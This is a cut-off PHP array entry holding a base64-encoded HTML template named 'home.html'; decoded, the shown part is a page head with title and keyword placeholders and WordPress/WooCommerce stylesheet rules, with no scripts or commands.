  'home.html' => 'PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbi1VUyIgcHJlZml4PSJvZzogaHR0cDovL29ncC5tZS9ucyMgZmI6IGh0dHA6Ly9vZ3AubWUvbnMvZmIjIj4NCjxoZWFkPg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSIvPg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ii8+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtaW5pbXVtLXNjYWxlPTEiLz4NCiAgICB7e2tleXdvcmRzfX0NCiAgICB7e2Rlc2NyaXB0aW9ufX0NCiAgICB7e3RpdGxlfX0NCiAgICA8bWV0YSBuYW1lPSdyb2JvdHMnIGNvbnRlbnQ9J21heC1pbWFnZS1wcmV2aWV3OmxhcmdlJy8+DQogICAgPHN0eWxlPg0KICAgICAgICBpbWcud3Atc21pbGV5LA0KICAgICAgICBpbWcuZW1vamkgew0KICAgICAgICAgICAgZGlzcGxheTogaW5saW5lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBib3JkZXI6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGhlaWdodDogMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICB3aWR0aDogMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBtYXJnaW46IDAgMC4wN2VtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICB2ZXJ0aWNhbC1hbGlnbjogLTAuMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBwYWRkaW5nOiAwICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3dwLWJsb2NrLWxpYnJhcnktY3NzJyBocmVmPScvd3AtaW5jbHVkZXMvY3NzL2Rpc3QvYmxvY2stbGlicmFyeS9zdHlsZS5taW4uY3NzP3Zlcj02LjEuNScNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSd3cC1ibG9jay1saWJyYXJ5LXRoZW1lLWlubGluZS1jc3MnPg0KICAgICAgICAud3AtYmxvY2stYXVkaW8gZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogIzU1NTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcg0KICAgICAgICB9DQoNCiAgICAgICAgLmlzLWRhcmstdGhlbWUgLndwLWJsb2NrLWF1ZGlvIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6IGhzbGEoMCwgMCUsIDEwMCUsIC42NSkNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1hdWRpbyB7DQogICAgICAgICAgICBtYXJnaW46IDAgMCAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1jb2RlIHsNCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNjY2M7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7DQogICAgICAgICAgICBmb250LWZhbWlseTogTWVubG8sIENvbnNvbGFzLCBtb25hY28sIG1vbm9zcGFjZTsNCiAgICAgICAgICAgIHBhZGRpbmc6IC44ZW0gMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stZW1iZWQgZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogIzU1NTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcg0KICAgICAgICB9DQoNCiAgICAgICAgLmlzLWRhcmstdGhlbWUgLndwLWJsb2NrLWVtYmVkIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6IGhzbGEoMCwgMCUsIDEwMCUsIC42NSkNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1lbWJlZCB7DQogICAgICAgICAgICBtYXJnaW46IDAgMCAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5ibG9ja3MtZ2FsbGVyeS1jYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiAjNTU1Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyDQogICAgICAgIH0NCg0KICAgICAgICAuaXMtZGFyay10aGVtZSAuYmxvY2tzLWdhbGxlcnktY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogaHNsYSgwLCAwJSwgMTAwJSwgLjY1KQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLWltYWdlIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6ICM1NTU7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXINCiAgICAgICAgfQ0KDQogICAgICAgIC5pcy1kYXJrLXRoZW1lIC53cC1ibG9jay1pbWFnZSBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiBoc2xhKDAsIDAlLCAxMDAlLCAuNjUpDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2staW1hZ2Ugew0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcHVsbHF1b3RlIHsNCiAgICAgICAgICAgIGJvcmRlci10b3A6IDRweCBzb2xpZDsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDRweCBzb2xpZDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEuNzVlbTsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3INCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1wdWxscXVvdGVfX2NpdGF0aW9uLCAud3AtYmxvY2stcHVsbHF1b3RlIGNpdGUsIC53cC1ibG9jay1wdWxscXVvdGUgZm9vdGVyIHsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7DQogICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOw0KICAgICAgICAgICAgZm9udC1zaXplOiAuODEyNWVtOw0KICAgICAgICAgICAgZm9udC1zdHlsZTogbm9ybWFsDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcXVvdGUgew0KICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IC4yNWVtIHNvbGlkOw0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMS43NWVtOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZSBjaXRlLCAud3AtYmxvY2stcXVvdGUgZm9vdGVyIHsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7DQogICAgICAgICAgICBmb250LXNpemU6IC44MTI1ZW07DQogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWwNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZS5oYXMtdGV4dC1hbGlnbi1yaWdodCB7DQogICAgICAgICAgICBib3JkZXItbGVmdDogbm9uZTsNCiAgICAgICAgICAgIGJvcmRlci1yaWdodDogLjI1ZW0gc29saWQ7DQogICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDA7DQogICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZS5oYXMtdGV4dC1hbGlnbi1jZW50ZXIgew0KICAgICAgICAgICAgYm9yZGVyOiBub25lOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAwDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcXVvdGUuaXMtbGFyZ2UsIC53cC1ibG9jay1xdW90ZS5pcy1zdHlsZS1sYXJnZSwgLndwLWJsb2NrLXF1b3RlLmlzLXN0eWxlLXBsYWluIHsNCiAgICAgICAgICAgIGJvcmRlcjogbm9uZQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlYXJjaCAud3AtYmxvY2stc2VhcmNoX19sYWJlbCB7DQogICAgICAgICAgICBmb250LXdlaWdodDogNzAwDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stc2VhcmNoX19idXR0b24gew0KICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2NjYzsNCiAgICAgICAgICAgIHBhZGRpbmc6IC4zNzVlbSAuNjI1ZW0NCiAgICAgICAgfQ0KDQogICAgICAgIDp3aGVyZSgud3AtYmxvY2stZ3JvdXAuaGFzLWJhY2tncm91bmQpIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDEuMjVlbSAyLjM3NWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stc2VwYXJhdG9yLmhhcy1jc3Mtb3BhY2l0eSB7DQogICAgICAgICAgICBvcGFjaXR5OiAuNA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvciB7DQogICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAycHggc29saWQ7DQogICAgICAgICAgICBtYXJnaW4tbGVmdDogYXV0bzsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0bw0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYWxwaGEtY2hhbm5lbC1vcGFjaXR5IHsNCiAgICAgICAgICAgIG9wYWNpdHk6IDENCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1zZXBhcmF0b3I6bm90KC5pcy1zdHlsZS13aWRlKTpub3QoLmlzLXN0eWxlLWRvdHMpIHsNCiAgICAgICAgICAgIHdpZHRoOiAxMDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYmFja2dyb3VuZDpub3QoLmlzLXN0eWxlLWRvdHMpIHsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IG5vbmU7DQogICAgICAgICAgICBoZWlnaHQ6IDFweA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYmFja2dyb3VuZDpub3QoLmlzLXN0eWxlLXdpZGUpOm5vdCguaXMtc3R5bGUtZG90cykgew0KICAgICAgICAgICAgaGVpZ2h0OiAycHgNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay10YWJsZSB7DQogICAgICAgICAgICBtYXJnaW46ICIwIDAgMWVtIDAiDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGhlYWQgew0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogM3B4IHNvbGlkDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGZvb3Qgew0KICAgICAgICAgICAgYm9yZGVyLXRvcDogM3B4IHNvbGlkDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGQsIC53cC1ibG9jay10YWJsZSB0aCB7DQogICAgICAgICAgICB3b3JkLWJyZWFrOiBub3JtYWwNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay10YWJsZSBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiAjNTU1Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyDQogICAgICAgIH0NCg0KICAgICAgICAuaXMtZGFyay10aGVtZSAud3AtYmxvY2stdGFibGUgZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogaHNsYSgwLCAwJSwgMTAwJSwgLjY1KQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXZpZGVvIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6ICM1NTU7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXINCiAgICAgICAgfQ0KDQogICAgICAgIC5pcy1kYXJrLXRoZW1lIC53cC1ibG9jay12aWRlbyBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiBoc2xhKDAsIDAlLCAxMDAlLCAuNjUpDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdmlkZW8gew0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGVtcGxhdGUtcGFydC5oYXMtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBwYWRkaW5nOiAxLjI1ZW0gMi4zNzVlbTsNCiAgICAgICAgICAgIG1hcmdpbi10b3A6IDA7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwDQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3djLWJsb2Nrcy12ZW5kb3JzLXN0eWxlLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL3BhY2thZ2VzL3dvb2NvbW1lcmNlLWJsb2Nrcy9idWlsZC93Yy1ibG9ja3MtdmVuZG9ycy1zdHlsZS5jc3M/dmVyPTcuOC4zJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSd3Yy1ibG9ja3Mtc3R5bGUtY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvcGFja2FnZXMvd29vY29tbWVyY2UtYmxvY2tzL2J1aWxkL3djLWJsb2Nrcy1zdHlsZS5jc3M/dmVyPTcuOC4zJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdjbGFzc2ljLXRoZW1lLXN0eWxlcy1jc3MnIGhyZWY9Jy93cC1pbmNsdWRlcy9jc3MvY2xhc3NpYy10aGVtZXMubWluLmNzcz92ZXI9MScNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSdnbG9iYWwtc3R5bGVzLWlubGluZS1jc3MnPg0KICAgICAgICBib2R5IHsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLWJsYWNrOiAjMDAwMDAwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheTogI2FiYjhjMzsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXdoaXRlOiAjZmZmZmZmOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1waW5rOiAjZjc4ZGE3Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcmVkOiAjY2YyZTJlOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtb3JhbmdlOiAjZmY2OTAwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtYW1iZXI6ICNmY2I5MDA7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWNvbG9yLS1saWdodC1ncmVlbi1jeWFuOiAjN2JkY2I1Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtZ3JlZW4tY3lhbjogIzAwZDA4NDsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtY3lhbi1ibHVlOiAjOGVkMWZjOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtY3lhbi1ibHVlOiAjMDY5M2UzOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcHVycGxlOiAjOWI1MWUwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcHJpbWFyeTogIzIyMjUyOTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXNlY29uZGFyeTogI2VlODM3OTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXRlcnRpYXJ5OiAjMmJhYWIxOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcXVhdGVybmFyeTogIzM4M2Y0ODsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLWRhcms6ICMyMjI1Mjk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWNvbG9yLS1saWdodDogI2ZmZmZmZjsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZpdmlkLWN5YW4tYmx1ZS10by12aXZpZC1wdXJwbGU6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHJnYmEoNiwgMTQ3LCAyMjcsIDEpIDAlLCByZ2IoMTU1LCA4MSwgMjI0KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWxpZ2h0LWdyZWVuLWN5YW4tdG8tdml2aWQtZ3JlZW4tY3lhbjogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDEyMiwgMjIwLCAxODApIDAlLCByZ2IoMCwgMjA4LCAxMzApIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tbHVtaW5vdXMtdml2aWQtYW1iZXItdG8tbHVtaW5vdXMtdml2aWQtb3JhbmdlOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2JhKDI1MiwgMTg1LCAwLCAxKSAwJSwgcmdiYSgyNTUsIDEwNSwgMCwgMSkgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy12aXZpZC1vcmFuZ2UtdG8tdml2aWQtcmVkOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2JhKDI1NSwgMTA1LCAwLCAxKSAwJSwgcmdiKDIwNywgNDYsIDQ2KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZlcnktbGlnaHQtZ3JheS10by1jeWFuLWJsdWlzaC1ncmF5OiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjM4LCAyMzgsIDIzOCkgMCUsIHJnYigxNjksIDE4NCwgMTk1KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWNvb2wtdG8td2FybS1zcGVjdHJ1bTogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDc0LCAyMzQsIDIyMCkgMCUsIHJnYigxNTEsIDEyMCwgMjA5KSAyMCUsIHJnYigyMDcsIDQyLCAxODYpIDQwJSwgcmdiKDIzOCwgNDQsIDEzMCkgNjAlLCByZ2IoMjUxLCAxMDUsIDk4KSA4MCUsIHJnYigyNTQsIDI0OCwgNzYpIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tYmx1c2gtbGlnaHQtcHVycGxlOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU1LCAyMDYsIDIzNikgMCUsIHJnYigxNTIsIDE1MCwgMjQwKSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWJsdXNoLWJvcmRlYXV4OiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU0LCAyMDUsIDE2NSkgMCUsIHJnYigyNTQsIDQ1LCA0NSkgNTAlLCByZ2IoMTA3LCAwLCA2MikgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy1kdXNrOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU1LCAyMDMsIDExMikgMCUsIHJnYigxOTksIDgxLCAxOTIpIDUwJSwgcmdiKDY1LCA4OCwgMjA4KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXBhbGUtb2NlYW46IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHJnYigyNTUsIDI0NSwgMjAzKSAwJSwgcmdiKDE4MiwgMjI3LCAyMTIpIDUwJSwgcmdiKDUxLCAxNjcsIDE4MSkgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1lbGVjdHJpYy1ncmFzczogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDIwMiwgMjQ4LCAxMjgpIDAlLCByZ2IoMTEzLCAyMDYsIDEyNikgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1taWRuaWdodDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDIsIDMsIDEyOSkgMCUsIHJnYig0MCwgMTE2LCAyNTIpIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1kYXJrLWdyYXlzY2FsZTogdXJsKCcjd3AtZHVvdG9uZS1kYXJrLWdyYXlzY2FsZScpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1ncmF5c2NhbGU6IHVybCgnI3dwLWR1b3RvbmUtZ3JheXNjYWxlJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWR1b3RvbmUtLXB1cnBsZS15ZWxsb3c6IHVybCgnI3dwLWR1b3RvbmUtcHVycGxlLXllbGxvdycpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1ibHVlLXJlZDogdXJsKCcjd3AtZHVvdG9uZS1ibHVlLXJlZCcpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1taWRuaWdodDogdXJsKCcjd3AtZHVvdG9uZS1taWRuaWdodCcpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1tYWdlbnRhLXllbGxvdzogdXJsKCcjd3AtZHVvdG9uZS1tYWdlbnRhLXllbGxvdycpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1wdXJwbGUtZ3JlZW46IHVybCgnI3dwLWR1b3RvbmUtcHVycGxlLWdyZWVuJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWR1b3RvbmUtLWJsdWUtb3JhbmdlOiB1cmwoJyN3cC1kdW90b25lLWJsdWUtb3JhbmdlJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tc21hbGw6IDEzcHg7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tbWVkaXVtOiAyMHB4Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1mb250LXNpemUtLWxhcmdlOiAzNnB4Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1mb250LXNpemUtLXgtbGFyZ2U6IDQycHg7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTIwOiAwLjQ0cmVtOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1zcGFjaW5nLS0zMDogMC42N3JlbTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tc3BhY2luZy0tNDA6IDFyZW07DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTUwOiAxLjVyZW07DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTYwOiAyLjI1cmVtOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1zcGFjaW5nLS03MDogMy4zOHJlbTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tc3BhY2luZy0tODA6IDUuMDZyZW07DQogICAgICAgIH0NCg0KICAgICAgICA6d2hlcmUoLmlzLWxheW91dC1mbGV4KSB7DQogICAgICAgICAgICBnYXA6IDAuNWVtOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsb3cgPiAuYWxpZ25sZWZ0IHsNCiAgICAgICAgICAgIGZsb2F0OiBsZWZ0Ow0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1zdGFydDogMDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtZW5kOiAyZW07DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtZmxvdyA+IC5hbGlnbnJpZ2h0IHsNCiAgICAgICAgICAgIGZsb2F0OiByaWdodDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtc3RhcnQ6IDJlbTsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtZW5kOiAwOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsb3cgPiAuYWxpZ25jZW50ZXIgew0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IGF1dG8gIWltcG9ydGFudDsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gLmFsaWdubGVmdCB7DQogICAgICAgICAgICBmbG9hdDogbGVmdDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtc3RhcnQ6IDA7DQogICAgICAgICAgICBtYXJnaW4taW5saW5lLWVuZDogMmVtOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gLmFsaWducmlnaHQgew0KICAgICAgICAgICAgZmxvYXQ6IHJpZ2h0Ow0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1zdGFydDogMmVtOw0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1lbmQ6IDA7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtY29uc3RyYWluZWQgPiAuYWxpZ25jZW50ZXIgew0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IGF1dG8gIWltcG9ydGFudDsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gOndoZXJlKDpub3QoLmFsaWdubGVmdCk6bm90KC5hbGlnbnJpZ2h0KTpub3QoLmFsaWduZnVsbCkpIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogdmFyKC0td3AtLXN0eWxlLS1nbG9iYWwtLWNvbnRlbnQtc2l6ZSk7DQogICAgICAgICAgICBtYXJnaW4tbGVmdDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiBhdXRvICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtY29uc3RyYWluZWQgPiAuYWxpZ253aWRlIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogdmFyKC0td3AtLXN0eWxlLS1nbG9iYWwtLXdpZGUtc2l6ZSk7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtZmxleCB7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsZXggew0KICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOw0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KDQogICAgICAgIGJvZHkgLmlzLWxheW91dC1mbGV4ID4gKiB7DQogICAgICAgICAgICBtYXJnaW46IDA7DQogICAgICAgIH0NCg0KICAgICAgICA6d2hlcmUoLndwLWJsb2NrLWNvbHVtbnMuaXMtbGF5b3V0LWZsZXgpIHsNCiAgICAgICAgICAgIGdhcDogMmVtOw0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1ibGFjay1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWJsYWNrKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1jeWFuLWJsdWlzaC1ncmF5LWNvbG9yIHsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgIC